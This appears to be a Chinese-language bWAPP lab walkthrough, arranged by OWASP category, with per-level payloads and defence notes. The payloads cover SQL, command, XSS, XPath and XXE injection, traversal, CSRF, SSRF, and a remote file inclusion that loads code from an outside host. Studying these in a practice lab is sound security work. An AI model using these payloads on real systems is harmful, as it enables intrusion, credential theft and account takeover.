0x00、平台介紹
按照OWASP排序
0x01、A1-Injuction(注入)
Low級別:不經過任何處理的接收用戶數據
Medium級別:黑名單機制,轉義了部分危險數據
High級別:全部轉義,或者白名單機制
1.1 HTML Injection-Reflected(GET,POST)
Low:
Payload: <a href=”https://www.baidu.com”>baidu</a>
Mediu:
Payload: %3ca+href%3d%27https%3a%2f%2fwww.baidu.com%27%3ebaidu%3c%2fa%3e
1.2 HTML Injection-Reflected(Current URL)
Payload和以上相同,只是注入點不同
由於url中輸入自動轉義成urlcode,在burp中還原成原始字符即可
1.3 HTML Injection-Stored(Blog)
Payload和以上相同,只是注入點不同
存儲型注入,可以把url,xss寫進數據庫
1.4 iFrame Injection
直接通過http訪問ParamUrl中的參數
Low:
Payload: ?ParamUrl=https://www.baidu.com&ParamWidth=250&ParamHeight=250
1.5 OS Command Injection
回顯輸入的網址的dns解析,使用管道符跳過限制
Low:
Payload: Windows中 |ipconfig 、Linux中;cat /eta/passwd
1.6 OS Command Injection-Blind
無回顯,只能使用不需要回顯的命令
1.7 PHP code Injection
把任意輸入參數當做PHP代碼執行,可直接菜刀連之
Low:
Payload: ?message=phpinfo();
1.8 SQL Injection(GET/POST/Search)
這里都是明顯的SQL注入漏洞,sqlmap隨便跑
Sql語句猜測:
SELECT * from movies WHERE title like '%$_GET[“title”]%';
Low:
Payload: s' or 'a'='a'--
1.9 SQL Injection(GET/POST/Select)
只能回顯一行,不影響
Sql語句猜測:
SELECT * from movies WHERE id = $_GET[“movie”];
Low:
Payload: ?movie=5%20or%201=1&action=go
1.10 SQL Injection (Login Form/Hero)
萬能密碼
Sql語句猜測:
SELECT * FROM heroes WHERE login= $_POST[“login”] and `password` = $_POST[“password”];
Low:
Payload: login=test' or 'a'='a'--
1.11 SQL Injection (Login Form/Users)
不知道賬號密碼登陸
略復雜,審計源碼發現是先$row=SELECT * FROM heroes WHERE login= $_GET[“login”]
再判斷$row["login"] && $password == $row["password"]
$row必須為一個數組,才能進行下一步判斷,另外密碼為sha1加密過的
Low:
Payload:
login=test' UNION SELECT 1,2,'77de68daecd823babbb58edb1c8e14d7106e83bb',4,5,6,7,8,9-- &pawword=3
1.12 SQL Injection (SQLite)
Mysql換成了sqlite,只是些sql語句寫法變了
1.13 SQL Injection - Stored (Blog)
存儲型,可以寫xss,url等等
Low:
Payload: <script>alert(1)</script>
1.14 SQL Injection - Stored (User-Agent)
會將User-Agent中的值存入數據庫,使用burp改改User-Agent就行
1.15 SQL Injection - Stored (XML)
1.16 XML/XPath Injection (Login Form)
萬能密碼
XPath語句:
/heroes/hero[login=' $_GET[“login”]' and password=' $_GET[“password”]’
Low:
Payload:?login=%27+or+%271%27%3D%271&password=%27+or+%271%27%3D%271&form=submit
1.17 XML/XPath Injection (Search)
Xpath語句:
//hero[contains(genre, $_GET["genre"])]/movie
1.18 防護
Html/xss注入:白名單+所有輸入轉義為htmlcode
命令注入:白名單
Sql注入:ORM或者占位符
0x02、A2-Broken Auth&Session Mgmt(失效的身份認證和會話管理)
2.1 Broken Auth. - CAPTCHA Bypassing
爆破即可,驗證碼每次提交不變
2.2 Broken Auth. - Insecure Login Forms
Low:
這個賬號密碼直接在網頁源碼中,審查一下即可
Medium:
JS的unlock_secret()里面搞了個密碼表,對照一下即可找出
High:
密碼直接提示出來了,沒太懂這題的意思
2.3 Broken Auth. - Logout Management
Low:
只是跳轉到登陸頁面,實際沒清session
2.4 Broken Auth. - Password Attacks
連驗證碼都沒有了,直接爆破即可
2.5 Broken Auth. - Weak Passwords
弱口令,爆破更簡單
2.6 Session Mgmt. - Administrative Portals
更改自己的權限
Low:
Payload: ?admin=1
Medium:
Payload: Cookies: admin=1
High:
寫到session中了,看起來挺安全了
2.7 Session Mgmt. - Cookies (HTTPOnly)
cookies設置httponly,防止js獲取cooikes
2.8 Session Mgmt. - Session ID in URL
Session id出現在url中了
2.9 防護
密碼防爆破:高復雜度密碼+每次都變的驗證碼+限制單IP登陸頻率
Session防護:不能明文暴露、httponly防劫持、登出清理cooikes
0x03、A3 - Cross-Site Scripting (XSS)
Low級別:不經過任何處理的接收用戶數據
Medium級別:黑名單機制,轉義了部分危險數據
High級別:全部轉義,通常框架會幫你做轉義
3.1 XSS - Reflected (GET/POST/JSON)
這幾種方式只是提交數據的方法不通
Low:
Payload: <script>alert(1)</script>
Medium:
Payload: <img src=a.png onerror=alert(/xss/)>
3.2 XSS - Reflected (Back Button)
Low、medium:
Payload: Referer '"><img src=a.png onerror=alert(/xss/)>
3.3 XSS - Reflected (Eval)
Low,medium:
Payload: ?date=alert(1)
3.4 XSS - Reflected (HREF)
Low:
Payload: /><img src=a.png onerror=alert(1)>
3.5 防護
其實還有很多題,但只是提交方法、插入位置不同
XSS防護:對輸入過濾,對輸出編碼
富文本編輯器使用白名單過濾,黑名單很容易被繞過
通常框架都都會把輸出做htmlencode
Cookies : httponly=True防session劫持
0x04、A4 - Insecure Direct Object References(不安全的對象直接引用)
4.1 Insecure DOR (Change Secret)
Low:
<input type="hidden" name="login" value="bee">
修改value中的用戶名就可以修改別的用戶的密碼了
4.2 Insecure DOR (Reset Secret)
Low,medium,high:
Js中的ResetSecret()可以看到用戶名,修改就可以重置別的用戶的密碼了
4.3 Insecure DOR (Order Tickets)
Low:
ticket_price的value可以直接在html代碼中修改
4.4 防護
本章主要算是邏輯漏洞
修改/重置密碼時,驗證用戶身份使用session+用戶名密碼
不需要用戶發送的數據要在后端生成
0x05、A5-Security Misconfiguration(安全誤配置)
辦公室電腦裝不了虛擬機,很多都搞不了(環境要搭在虛擬機里,還需要kali)
5.1 Man-in-the-Middle Attack (HTTP)
用戶名密碼明文傳輸
5.2 Robots File
敏感文件暴露在robots.txt文件中
5.3 防護
使用https建立安全隧道,可防止中間人劫持數據
不要在robots.txt暴露敏感文件
0x06、A6 - Sensitive Data Exposure(敏感數據泄露)
6.1 Base64 Encoding (Secret)
Low:
Cookies中有密碼,通過Base64解密即可
6.2 Clear Text HTTP (Credentials)
Low:
密碼明文傳輸
6.3 Text Files (Accounts)
Low:
明文存儲
Medium:
密碼為sha1加密,簡單的密碼會被爆破
6.4 防護
敏感數據,特別是密碼使用https傳輸或者加密傳輸(RSA),存儲使用md5(md5+salt)的方式存儲
0x07、 A7 - Missing Functional Level Access Control (應用層訪問控制缺失)
7.1 Directory Traversal - Directories
Low:
Payload: ?directory=../ 可以訪問任意目錄
Medium:
Payload: ?directory=images 過濾了一些符號,可以通過猜解的方式
7.2 Directory Traversal - Files
Low:
Payload: ?page=666
../INSTALL.txt 猜解文件名,也可訪問上層目錄文件
Medium:
Payload: ?page=66 限制了訪問上層目錄
7.3 Remote & Local File Inclusion (RFI/LFI)(遠程/本地文件包含)
Language參數后可以執行任意本地/遠程文件,基本上什么都能搞了
Low:
本地文件直接執行
Payload: ?language=666&action=go
遠程文件包含
Payload: ?language=http://phpcode.applinzi.com/phpzzz&action=go
Medium:
本地在文件名后面加上.php執行
Payload: ?language=aim&action=go
7.4 Restrict Device Access
Low,medium,high:
User-agent換成手機的頭
7.5 Server Side Request Forgery (SSRF)
經典的SSRF漏洞利用,可以攻擊內網
利用http://127.0.0.1/bWAPP/rlfi.php?language=lang_en.php&action=go
Low:
?ip=127.0.0.1&language=../evil/ssrf-1.txt&action=go
?ip=127.0.0.1&language=http://127.0.0.1/evil/ssrf-1.txt&action=go
7.6 XML External Entity Attacks (XXE)
Xml外部實體攻擊
Low:
SYSTEM可以執行任意代碼
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY popped SYSTEM "http://127.0.0.1/bWAPP/666">
]>
<reset><login>&popped;</login><secret>Any bugs?</secret></reset>
7.7 防護
使用白名單限制文件訪問
禁止XML外部實體
過濾返回信息來防護SSRF
0x08、 A8 - Cross-Site Request Forgery (CSRF) (跨站請求偽造CSRF)
8.1 CSRF (Transfer Amount)
自己制作一個釣魚網站,把會產生扣款操作的url插入到在自己的網站中,然后把網址發到受害者,受害者訪問即可觸發扣款操作
<img src= “http://127.0.0.1/bWAPP/csrf_2.php?account=123-45678-90&amount=1&action=transfer”>
8.2 防護
CSRF攻擊的一個大體流程,偽造一個請求鏈接,發送給受害者,受害者點擊后請求被執行,前提是存在CSRF漏洞的瀏覽器cookie還沒有過期,如果過期了是沒有用的。
通常的防護做法是在提交表單的時候加上隱藏字段csrftoken(隨機值,每次發送都會改變)一起發送到后端,后端收到后和cookies中的csrftoken對比(AJAX請求時就需要從cookies中獲取csrftoken),一致才認為有效訪問。這樣做仍有可能被利用,最好的方式是將csrftoken存放在session中
0x09、A9 - Using Known Vulnerable Components(應用已知脆弱性的組件)
9.1 PHP Eval Function
源碼審計,直接使用了eval函數
Payload: ?eval=phpinfo();
9.2 防護
本章主要是已知的各種致命漏洞的利用
針對不同的漏洞利用升級版本等方式來修補
0x0a、A10 - Unvalidated Redirects & Forwards (未驗證的重定向轉發)
這個沒想到好的利用方式
0x0b、其他
11.1 Unrestricted File Upload
上傳漏洞可直接上傳大小馬
11.2 防護
白名單+上傳文件名隨機修改+限制上傳目錄(可執行的不可上傳、可上傳的不可執行)
0x0c、總結
簡單的玩兒了下平台的漏洞,基本涵蓋了大部分的漏洞